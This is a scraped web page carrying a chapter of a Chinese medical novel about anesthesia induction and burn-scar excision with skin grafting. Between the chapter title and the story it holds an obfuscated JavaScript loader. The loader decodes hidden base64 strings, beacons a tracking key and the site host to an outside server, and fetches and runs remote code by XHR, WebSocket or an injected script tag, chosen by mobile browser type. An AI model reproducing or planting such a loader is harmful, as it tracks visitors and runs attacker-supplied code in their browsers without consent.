足迹
姜眠
登录
关灯
护眼
字体:

100 二定点间断缝合(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

麻醉诱导前泵注乌司他丁100单位,并于10分钟内给予右美托咪定0.5ugkg。

诱导给予咪达唑仑2mg,舒芬太尼40ug,依托咪酯10mg,罗库溴铵50mg。

每一步任海涛都琢磨过好多次,虽然是最普通不过的麻醉诱导,他依旧尽力做到毫无破绽。

麻醉诱导给药,3分钟后气管插管。

患者口咽部没什么问题,准备好的纤支镜也没用上。连接呼吸机,把头部术区暴露出来,留给楚知希。

手术开始前追加舒芬太尼20ug,术中麻醉维持采用丙泊酚4-8,静脉麻醉,间断追加罗库溴铵。

一切都做完,吴冕吴老师已经开始进行削痂手术,任海涛这时候可以有闲心看看手术。

伤者的患侧经过十多天的生长,烧伤位置已经形成了血痂瘢痕组织。黑色、暗红色的结痂看着像是很古怪的铠甲一样狰狞可怖。

电动取皮刀嗡鸣,坚硬的血痂一点点被削薄。吴冕的动作很细,上肢血痂很均匀的一点点削掉,旁边拿着无菌纱布的烧伤科李主任随时准备纱布按压止血。

可电动削皮刀下血痂以肉眼可见的速度变薄,甚至出现凹陷,比周围皮肤组织的位置还要低,形成了洼地,依旧没有出血。

“吴老师,您这削痂手术怎么做到这么均匀的?”李主任问道。

“手感。”吴冕轻轻说道。

血痂就在眼前,但谁也不知道血痂到底有多厚。一般手术只管削,出血就按压。

有的大面积烧伤患者术中可能出现失血性休克,这都属于正常并发症。

可看吴冕吴老师的动作轻柔细腻,电动削皮刀真的是在削痂,开台5分钟,还没有一丝出血,李主任甚至有一种怀疑,吴老师会不会把血痂削成透明的。

薄如蝉翼只是一个形容,但李主任真觉得有可能变为现实。

“虽然受损面积大约是17.2%,但损伤尽量小一点,术后恢复能快一点。”吴冕道。

这话说的容易,但要是做到就难上了天。

“丫头,开吧。”

终于,6′22″的时候,吴冕让楚知希开始手术取皮。

早了吧,李主任有些不解。一般来讲都是先削痂,止住一部分出血,尽量保留有用的血管。哪怕是显微手术,进行微小动静脉吻合,也要先削痂结束才行。

不过他没质疑吴老师,而是静静的看着。

终于,一丝鲜红混杂在淡黄色的渗出液出现在术野里。

李主任有了用武之地,手里的无菌纱布压在创面上,力度适中,又没影响到吴冕的术野。

第一块头皮送过来的时候,血痂刚好削掉,只从时间上来看已臻完美。

“血管阻断钳。”吴冕伸手,一个小巧精致的钳子拍在他手里。

电动削皮刀最后一次嗡鸣,随即术野变成一片鲜红。

吴冕把电动削皮刀放到一边,一只手拿着无菌纱布,另一只手拿着血管阻断钳,蘸了一下血,小巧的钳子直接伸进去、合拢、钳夹。

夹住了么?李主任看都没看清发生了什么事情,动作就已经结束。不过他没愣神,连忙扶住血管阻断钳。

吴冕拿起楚知希递过来的头皮,头皮下毛细血管丰富,有利于重新组建血液循环,让植皮后的皮肤良好生长。